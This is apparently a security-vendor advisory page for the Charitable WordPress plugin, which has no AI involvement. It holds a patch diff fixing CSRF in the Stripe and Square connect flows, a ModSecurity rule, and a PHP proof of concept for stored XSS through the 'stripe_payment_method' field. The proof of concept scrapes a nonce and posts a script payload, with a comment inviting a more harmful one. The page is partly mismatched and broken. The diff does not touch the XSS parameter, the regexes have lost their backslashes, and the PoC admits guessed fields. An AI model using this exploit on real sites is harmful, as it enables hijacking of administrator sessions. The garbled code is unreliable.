+		}
+
+		/**
 		 * Check if Stripe keys exist.
 		 *
 		 * @since  1.7.0
--- a/charitable/includes/gateways/class-charitable-gateways.php
+++ b/charitable/includes/gateways/class-charitable-gateways.php
@@ -708,10 +708,162 @@
 		}

 		/**
+		 * Transient key for one gateway-connect state this site minted.
+		 *
+		 * One transient per state, not a list under a shared key, and keyed by a hash of the
+		 * state itself. That choice fixes three problems a shared list had:
+		 *
+		 * - no cap, so a state cannot be evicted. get_..._connect_url() mints on every admin
+		 *   page RENDER, not once per button the administrator can see, so a small cap burned
+		 *   far faster than it looked: five ordinary settings page loads were enough to evict
+		 *   a connection the administrator had genuinely started, and they then got a refusal
+		 *   telling them it had expired or was not started here, none of which was true.
+		 * - each state carries its own expiry, so the two-hour window is the real window. With
+		 *   one list the TTL was rewritten on every append, which silently extended the life of
+		 *   the oldest state every time any settings page was loaded.
+		 * - a single write, so there is no get/append/set race to lose a just-minted state
+		 *   when two requests for the same administrator overlap.
+		 *
+		 * Keyed per user as well: a state minted for one administrator must not be redeemable
+		 * in another administrator's session.
+		 *
+		 * @since 1.8.15.2
+		 *
+		 * @param  string $gateway_id The gateway the state belongs to, e.g. stripe or square.
+		 * @param  string $state      The state value.
+		 * @return string Empty string when there is no user, or the state is unusable.
+		 */
+		private function get_connect_state_key( $gateway_id, $state ) {
+			$user_id = (int) get_current_user_id();
+
+			if ( ! $user_id || ! is_string( $state ) || '' === $state || ! is_string( $gateway_id ) || '' === $gateway_id ) {
+				return '';
+			}
+
+			return 'charitable_cs_' . $gateway_id . '_' . $user_id . '_' . hash( 'sha256', $state );
+		}
+
+		/**
+		 * Record a gateway-connect state that this site minted.
+		 *
+		 * @since 1.8.15.2
+		 *
+		 * @param  string $gateway_id The gateway, e.g. stripe or square.
+		 * @param  string $state      The state that was just minted.
+		 * @return void
+		 */
+		public function remember_connect_state( $gateway_id, $state ) {
+			$key = $this->get_connect_state_key( $gateway_id, $state );
+
+			if ( '' === $key ) {
+				return;
+			}
+
+			/*
+			 * Two hours, not the one hour the PayPal onboarding token uses. Connecting a brand
+			 * new Stripe or Square account means creating the account and entering bank
+			 * details, which routinely runs longer; an expiry part way through costs the
+			 * administrator the whole flow.
+			 */
+			set_transient( $key, $state, 2 * HOUR_IN_SECONDS );
+		}
+
+		/**
+		 * Whether a gateway-connect state is one this site minted for the current user.
+		 *
+		 * Does NOT consume it. The completion handlers check this before doing any work, then
+		 * consume it with consume_connect_state() once the relay has actually returned a
+		 * usable payload - otherwise a relay timeout would burn the state and force the whole
+		 * authorisation round trip to be repeated.
+		 *
+		 * @since 1.8.15.2
+		 *
+		 * @param  string $gateway_id The gateway, e.g. stripe or square.
+		 * @param  string $state      The state supplied by the completion request.
+		 * @return boolean
+		 */
+		public function connect_state_exists( $gateway_id, $state ) {
+			$key = $this->get_connect_state_key( $gateway_id, $state );
+
+			if ( '' === $key ) {
+				return false;
+			}
+
+			$stored = get_transient( $key );
+
+			// hash_equals(), not ===, so a match cannot be found by timing.
+			return is_string( $stored ) && hash_equals( $stored, $state );
+		}
+
+		/**
+		 * Consume a gateway-connect state so it cannot be redeemed twice.
+		 *
+		 * @since 1.8.15.2
+		 *
+		 * @param  string $gateway_id The gateway, e.g. stripe or square.
+		 * @param  string $state      The state to consume.
+		 * @return void
+		 */
+		public function consume_connect_state( $gateway_id, $state ) {
+			$key = $this->get_connect_state_key( $gateway_id, $state );
+
+			if ( '' === $key ) {
+				return;
+			}
+
+			delete_transient( $key );
+		}
+
+		/**
+		 * End a Stripe Connect completion that cannot be trusted, without saving anything.
+		 *
+		 * Mirrors the existing relay-failure screen so a rejected or expired connection is
+		 * recoverable: the administrator gets a reason and a link back to the Stripe
+		 * settings to start again. Does not return.
+		 *
+		 * @since 1.8.15.2
+		 *
+		 * @param  string $reason   Why the connection was refused, shown to the administrator.
+		 * @param  string $group    Settings group to link back to, so the retry link lands on
+		 *                          the gateway the administrator was actually connecting.
+		 * @param  int    $response HTTP status to send. 403 by default: these are refusals,
+		 *                          not server faults, and a bare wp_die() would send a 500.
+		 * @return void
+		 */
+		private function stripe_connect_failed( $reason, $group = 'gateways_stripe', $response = 403 ) {
+			$stripe_account_settings_url = add_query_arg(
+				array(
+					'tab'   => 'gateways',
+					'page'  => 'charitable-settings',
+					'group' => is_string( $group ) && '' !== $group ? $group : 'gateways_stripe',
+				),
+				admin_url( 'admin.php' )
+			);
+
+			$message = wpautop( esc_html( $reason ) );
+
+			$message .= wpautop(
+				sprintf(
+					/* translators: %1$s Opening anchor tag, do not translate. %2$s Closing anchor tag, do not translate. */
+					__( 'Please %1$stry connecting again%2$s. If you continue to have this problem, please contact support.', 'charitable' ),
+					'<a href="' . esc_url( $stripe_account_settings_url ) . '">',
+					'</a>'
+				)
+			);
+
+			wp_die( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Assembled above from esc_html() and esc_url() parts.
+				$message,
+				esc_html__( 'Stripe connection not completed', 'charitable' ),
+				array( 'response' => (int) $response )
+			);
+		}
+
+		/**
 		 * Connects to Stripe by saving account information passed back to the plugin.
 		 *
 		 * @since   4.2.2
 		 * @version 1.8.9
+		 * @version 1.8.15.2 The state is now verified against one this site minted.
 		 *
 		 * @return void
 		 */
@@ -735,6 +887,44 @@
 				return;
 			}

+			/*
+			 * Only redeem a state this site actually minted.
+			 *
+			 * current_user_can() above is an authorisation check, not a CSRF one: it says the
+			 * person is allowed to connect Stripe, not that they asked to. This handler is on
+			 * 'init', so a single cross-site top-level GET to
+			 * ?wpcharitable_gateway_connect_completion=stripe_connect&state=<attacker state>
+			 * is enough to make a logged-in administrator's browser redeem an authorisation
+			 * the attacker started against their own Stripe account - which would save the
+			 * attacker's secret key, publishable key and webhook signing secret as this
+			 * site's own, routing every later donation to them and handing them the secret
+			 * needed to forge webhooks back. Reported by Patchstack against 1.8.15.1.
+			 *
+			 * The state was already being minted in
+			 * Charitable_Gateway_Stripe_AM::get_stripe_connect_url(); it was simply never
+			 * stored, so there was nothing here to compare against. It is now recorded per
+			 * user, matched with hash_equals() and consumed on use.
+			 *
+			 * This is the same shape as the PayPal Commerce onboarding token in
+			 * charitable-paypal-commerce-hooks.php, whose comment describes this exact
+			 * attack. Note disconnect_gateways() in this class already verified a nonce while
+			 * connect did not.
+			 *
+			 * A nonce is not used instead: the state has to survive a round trip out to
+			 * wpcharitable.com and Stripe and back, and it is the value the relay keys the
+			 * credentials on, so the stored-state comparison is the check that fits the flow.
+			 * The minted format is deliberately left alone - the relay redeems against it and
+			 * that contract cannot be tested from here.
+			 */
+			$charitable_connect_state = sanitize_text_field( wp_unslash( $_GET['state'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- This IS the request's own verification.
+
+			if ( ! $this->connect_state_exists( 'stripe', $charitable_connect_state ) ) {
+				$this->stripe_connect_failed(
+					__( 'This Stripe connection request could not be verified, so no credentials were saved. This can happen if the connection was started more than two hours ago, was already completed once, or was not started from this site.', 'charitable' )
+				);
+				return; // wp_die() above already exits; this is here because wp_die_handler is filterable.
+			}
+
 			if ( isset( $_SERVER['HTTP_HOST'], $_SERVER['REQUEST_URI'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- Server variables for URL construction
 				$current_url = ( is_ssl() ? 'https' : 'http' ) . '://' . wp_unslash( $_SERVER['HTTP_HOST'] ) . wp_unslash( $_SERVER['REQUEST_URI'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Server variables are unslashed and then sanitized via esc_url_raw()
 				$current_url = esc_url_raw( $current_url ); // phpcs:ignore
@@ -809,6 +999,33 @@
 			/** @var string $body */
 			$body = json_decode( $body, true );

+			/*
+			 * Check the payload's shape before indexing it. json_decode() returns null on
+			 * malformed JSON and the relay is not guaranteed to answer with the expected
+			 * envelope, so $body['data'] could be a warning on a non-array in PHP 7 and a
+			 * fatal in PHP 8 - on a path that writes payment credentials.
+			 */
+			if ( ! is_array( $body ) || ! isset( $body['data'] ) || ! is_array( $body['data'] ) ) {
+				$this->stripe_connect_failed(
+					__( 'Stripe returned an unexpected response, so no credentials were saved.', 'charitable' )
+				);
+				return; // wp_die() above already exits; this is here because wp_die_handler is filterable.
+			}
+
+			/*
+			 * Consume the state here, not at the verification above. The relay call in
+			 * between can time out or answer with something unusable, and burning the state
+			 * before it returns meant any such hiccup forced the administrator to repeat the
+			 * entire Stripe authorisation: a reload of the completion URL would be refused as
+			 * unverifiable. Consuming once a usable payload is in hand keeps the single-use
+			 * guarantee for the write while leaving a failed attempt retryable.
+			 *
+			 * Residual, accepted: two completions for the same state racing each other can
+			 * both pass the check above and both save. They are redeeming the same
+			 * authorisation from the same relay, so they write identical credentials.
+			 */
+			$this->consume_connect_state( 'stripe', $charitable_connect_state );
+
 			/** @var array<array<string>> $body */
 			$account_data = $body['data'];

@@ -857,6 +1074,32 @@
 				return;
 			}

+			/*
+			 * Only redeem a state this site actually minted.
+			 *
+			 * This is the Square twin of the Stripe Connect CSRF Patchstack reported against
+			 * 1.8.15.1, in the same class and on the same 'init' priority. Patchstack did not
+			 * mention it; it was found auditing the Stripe fix. current_user_can() is an
+			 * authorisation check, not a CSRF one, so one cross-site top-level GET to
+			 * ?wpcharitable_gateway_refresh_token_completion=square_connect&state=<attacker
+			 * state> made a logged-in administrator's browser redeem the attacker's Square
+			 * authorisation, and save_account_information_square() wrote the attacker's
+			 * tokens in as the site's own.
+			 *
+			 * Narrower than the Stripe one only because Square is not active on a fresh
+			 * install - class-charitable-install.php removes it from active_gateways - so it
+			 * needs a site that deliberately enabled Square. Identical impact on those.
+			 */
+			$charitable_square_state = sanitize_text_field( wp_unslash( $_GET['state'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- This IS the request's own verification.
+
+			if ( ! $this->connect_state_exists( 'square', $charitable_square_state ) ) {
+				$this->stripe_connect_failed(
+					__( 'This Square connection request could not be verified, so no credentials were saved. This can happen if the connection was started more than two hours ago, was already completed once, or was not started from this site.', 'charitable' ),
+					'gateways_square'
+				);
+				return; // wp_die() above already exits; this is here because wp_die_handler is filterable.
+			}
+
 			if ( charitable_is_debug( 'square' ) ) {
 				error_log( 'checking for use: refresh_square_token' ); // phpcs:ignore
 			}
@@ -921,6 +1164,22 @@

 			$body = json_decode( $body, true );

+			/*
+			 * Check the payload's shape before indexing it, same as the Stripe path. On a
+			 * malformed or unexpected relay body this was a warning on PHP 7 and a fatal on
+			 * PHP 8, on the path that writes payment credentials.
+			 */
+			if ( ! is_array( $body ) || ! isset( $body['data'] ) || ! is_array( $body['data'] ) ) {
+				$this->stripe_connect_failed(
+					__( 'Square returned an unexpected response, so no credentials were saved.', 'charitable' ),
+					'gateways_square'
+				);
+				return; // wp_die() above already exits; this is here because wp_die_handler is filterable.
+			}
+
+			// Consumed here rather than at the check above, so a relay hiccup stays retryable.
+			$this->consume_connect_state( 'square', $charitable_square_state );
+
 			$account_data = $body['data'];

 			$this->save_account_information_square( $account_data );
--- a/charitable/includes/public/class-charitable-public.php
+++ b/charitable/includes/public/class-charitable-public.php
@@ -278,9 +278,25 @@
 				$keys     = $gateway->get_keys();
 				$settings = get_option( 'charitable_settings' );

+				$charitable_has_stripe_key    = isset( $keys['public_key'] ) && ! empty( $keys['public_key'] );
+				$charitable_stripe_key_usable = $charitable_has_stripe_key && Charitable_Gateway_Stripe_AM::is_publishable_key( $keys['public_key'] );
+
+				/*
+				 * A key is present but is not a publishable key, so every branch below is skipped and
+				 * Stripe never loads. Before 1.8.15.2 that outcome was completely silent: the donation
+				 * form still rendered, the card fields simply never appeared, and nothing was written
+				 * anywhere that would let anyone work out why. Record it so the state is diagnosable
+				 * from the log instead of only by reading the stored key by eye.
+				 *
+				 * @since 1.8.15.2
+				 */
+				if ( $charitable_has_stripe_key && ! $charitable_stripe_key_usable ) {
+					self::log_unusable_stripe_publishable_key( $keys['public_key'] );
+				}
+
 				// If there is no public key, skip loading Stripe scripts but continue.
 				// Only a publishable key (pk_) may reach the browser; anything else (e.g. a secret key saved in the wrong field) is never output.
-				if ( isset( $keys['public_key'] ) && ! empty( $keys['public_key'] ) && 0 === strpos( $keys['public_key'], 'pk_' ) ) {
+				if ( $charitable_stripe_key_usable ) {

 					$cc_fields_format = ( ! empty( $settings['gateways_stripe']['cc_fields_format'] ) && '' !== $settings['gateways_stripe']['cc_fields_format'] ) ? $settings['gateways_stripe']['cc_fields_format'] : '';

@@ -351,6 +367,52 @@
 		}

 		/**
+		 * Record that Stripe could not load because the publishable key field holds something else.
+		 *
+		 * Throttled to one entry an hour. This runs on every page that enqueues the donation scripts and
+		 * an unusable key persists until somebody edits the settings, so an unthrottled call would write
+		 * a row per page view for as long as the site stayed broken.
+		 *
+		 * The key is never written to the log, only the shape of its prefix, which is the part that tells
+		 * the reader whether a secret key is sitting in the publishable field and therefore whether the
+		 * key also has to be rolled in Stripe.
+		 *
+		 * @since  1.8.15.2
+		 *
+		 * @param  string $key The value found in the publishable key field.
+		 * @return void
+		 */
+		private static function log_unusable_stripe_publishable_key( $key ) {
+
+			if ( ! function_exists( 'charitable_log' ) || ! class_exists( 'Charitable_Gateway_Stripe_AM' ) ) {
+				return;
+			}
+
+			if ( get_transient( 'charitable_stripe_unusable_publishable_key' ) ) {
+				return;
+			}
+
+			set_transient( 'charitable_stripe_unusable_publishable_key', 1, HOUR_IN_SECONDS );
+
+			charitable_log(
+				'Stripe: publishable key unusable',
+				sprintf(
+					/* translators: %1$s: Test or Live. %2$s: description of what the field contains. */
+					__( 'Stripe scripts were not loaded because the %1$s Publishable Key field contains %2$s rather than a publishable key, which always begins with pk_. Donations cannot be completed until it is corrected under Charitable > Settings > Payment Gateways > Stripe.', 'charitable' ),
+					charitable_get_option( 'test_mode' ) ? __( 'Test', 'charitable' ) : __( 'Live', 'charitable' ),
+					Charitable_Gateway_Stripe_AM::looks_like_secret_key( $key )
+						? __( 'a secret or restricted key (sk_ or rk_)', 'charitable' )
+						: __( 'an unrecognised value', 'charitable' )
+				),
+				array(
+					'type'   => array( 'payment', 'gateway' ),
+					'level'  => 'error',
+					'source' => 'stripe',
+				)
+			);
+		}
+
+		/**
 		 * Conditionally load the donation form scripts if we're viewing the donation form.
 		 *
 		 * @since  1.4.0
--- a/charitable/includes/square/admin/class-charitable-square-connect.php
+++ b/charitable/includes/square/admin/class-charitable-square-connect.php
@@ -161,13 +161,47 @@
 				return;
 			}

+			/*
+			 * Only redeem a state this site minted.
+			 *
+			 * This is the third surface of the same CSRF reported by Patchstack against
+			 * Stripe Connect in 1.8.15.1, and the one furthest from that report: it is in a
+			 * different file, on admin_init rather than init, and it was in neither the
+			 * report nor the first audit. handle_actions() guards only on
+			 * charitable_current_user_can( 'manage_options' ) and not doing AJAX, which says
+			 * the administrator may connect Square, not that they asked to. So a cross-site
+			 * top-level GET of ?square_connect=complete&state=<attacker state> made their
+			 * browser redeem the attacker's Square authorisation, and maybe_save_connection()
+			 * saved it as this site's own.
+			 *
+			 * Note handle_disconnect() a few lines above already verifies a
+			 * charitable_square_disconnect nonce. Disconnecting was protected; connecting was
+			 * not. That same asymmetry held for Stripe and for the other Square flow.
+			 */
+			if ( ! charitable_get_helper( 'gateways' )->connect_state_exists( 'square_oauth', $state ) ) {
+				Charitable_Settings::get_instance()->add_update_message(
+					__( 'This Square connection request could not be verified, so nothing was saved. This can happen if the connection was started more than two hours ago, was already completed once, or was not started from this site. Please start the connection again from the Square settings.', 'charitable' ),
+					'error'
+				);
+
+				return;
+			}
+
+			/*
+			 * Consumed after the relay answers, not here. fetch_new_connection() is a network
+			 * call that can time out, and burning the state first would force the whole
+			 * Square authorisation to be repeated after any hiccup.
+			 */
 			$connection_raw = $this->fetch_new_connection( $state );
-			$connection     = $this->maybe_save_connection( $connection_raw );
+			$connection = $this->maybe_save_connection( $connection_raw );

 			if ( ! $connection ) {
 				return;
 			}

+			// The connection is saved; the state has done its job and must not be reusable.
+			charitable_get_helper( 'gateways' )->consume_connect_state( 'square_oauth', $state );
+
 			$mode = $connection->get_mode();

 			$this->prepare_locations( $mode );
@@ -929,11 +963,58 @@

 			}

+			/*
+			 * A drop-in replacement for uniqid( '', true ): byte-for-byte the same shape,
+			 * 14 hex characters, a dot, then 8 digits, 23 characters in all - but sourced
+			 * from wp_rand() instead of the clock.
+			 *
+			 * Why not just keep uniqid(): it is unique, not unguessable. It is a microsecond
+			 * timestamp plus an LCG suffix, and the state is now the thing
+			 * handle_connected() verifies, so an attacker who can predict a state this site
+			 * is about to mint could carry that same value through their own Square
+			 * authorisation and have the stored state match.
+			 *
+			 * Why not simply append entropy, which is what the first version of this fix
+			 * did: that took the value from 23 characters to 56. The relay at
+			 * /oauth/square-connect redeems against this value - it goes out at action=init,
+			 * comes back on the completion URL, and is keyed on again at action=credentials -
+			 * and that contract cannot be tested from here. If it constrains length anywhere,
+			 * a longer state would come back altered, fail the comparison, and make Square
+			 * impossible to connect at all, with the administrator seeing only "could not be
+			 * verified". Keeping the exact shape removes that risk entirely, and the two
+			 * sibling flows in this release deliberately left their own formats alone for
+			 * the same reason.
+			 *
+			 * wp_rand() and not random_bytes(): this runs while the Square settings fields
+			 * are being built, so a throw here is a fatal on every Charitable settings page,
+			 * not a failed connect. random_bytes() throws when PHP has no usable CSPRNG;
+			 * wp_rand() cannot, and draws on the same source when one is available. (The
+			 * bare random_bytes() in charitable_crypto_encrypt() is not a precedent: a crypto
+			 * primitive should fail loudly, an admin screen should not.)
+			 *
+			 * Entropy is about 82 bits, which is ample for a single-use CSRF state.
+			 */
+			$charitable_state_hex = '';
+
+			for ( $charitable_i = 0; $charitable_i < 14; $charitable_i++ ) {
+				$charitable_state_hex .= dechex( wp_rand( 0, 15 ) );
+			}
+
+			$state = $charitable_state_hex . '.' . str_pad( (string) wp_rand( 0, 99999999 ), 8, '0', STR_PAD_LEFT );
+
+			/*
+			 * Record it, so the completion can tell it apart from a state an attacker minted.
+			 * Keyed as a separate gateway id from the other Square connect flow in
+			 * Charitable_Gateways::refresh_square_token(), so the two cannot redeem each
+			 * other's states.
+			 */
+			charitable_get_helper( 'gateways' )->remember_connect_state( 'square_oauth', $state );
+
 			return add_query_arg(
 				array(
 					'action'    => 'init',
 					'live_mode' => absint( $mode === 'live' ),
-					'state'     => uniqid( '', true ),
+					'state'     => $state,
 					'site_url'  => rawurlencode( $redirect_url ),
 					'scopes'    => implode( ' ', $this->get_scopes() ),
 				),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-120508
# Block unauthenticated stored XSS via 'stripe_payment_method' parameter in Charitable plugin
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261205,phase:2,deny,status:403,chain,msg:'CVE-2026-120508 Charitable stored XSS via stripe_payment_method',severity:'CRITICAL',tag:'CVE-2026-120508'"
    SecRule ARGS_POST:action "@streq charitable_process_donation" "chain"
        SecRule ARGS_POST:stripe_payment_method "@rx (?i)(<script|javascript:|onerrors*=|onloads*=|onmouseovers*=|onfocuss*=|onclicks*=)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120508 - Charitable <= 1.8.15.1 - Unauthenticated Stored XSS via 'stripe_payment_method' Parameter

$target_url = 'http://example.com'; // Change to the target WordPress site

// Step 1: Fetch a campaign donation page to extract the nonce
$campaign_url = $target_url . '/campaigns/sample-campaign/'; // Replace with a valid campaign URL
$ch = curl_init($campaign_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (!$response) {
    die("Failed to fetch campaign page.n");
}

// Extract nonce from the page (adjust regex as needed for the actual HTML structure)
$nonce = '';
if (preg_match('/charitable_donation_form_nonce["s]*[:=]["s]*([a-f0-9]{10})/i', $response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/name="charitable_donation_form_nonce" value="([a-f0-9]{10})"/i', $response, $matches)) {
    $nonce = $matches[1];
} else {
    // Fallback: try to find any nonce-like string
    if (preg_match('/nonce["s]*[:=]["s]*([a-f0-9]{10})/i', $response, $matches)) {
        $nonce = $matches[1];
    }
}

if (empty($nonce)) {
    die("Could not extract nonce. The page structure may have changed.n");
}

echo "Extracted nonce: $noncen";

// Step 2: Send a donation form submission with malicious payload in stripe_payment_method
$payload = '<script>alert("XSS");</script>'; // Replace with a more harmful payload
$post_data = [
    'action' => 'charitable_process_donation', // The actual action name may vary
    'charitable_donation_form_nonce' => $nonce,
    'campaign_id' => '1', // Replace with a valid campaign ID
    'stripe_payment_method' => $payload,
    'donation_amount' => '10',
    // Additional required fields may be needed
];

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: $responsen";

// The payload is now stored. It will execute when an admin views the donation record.
// To trigger, the admin must visit the donation details page in the WordPress admin.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.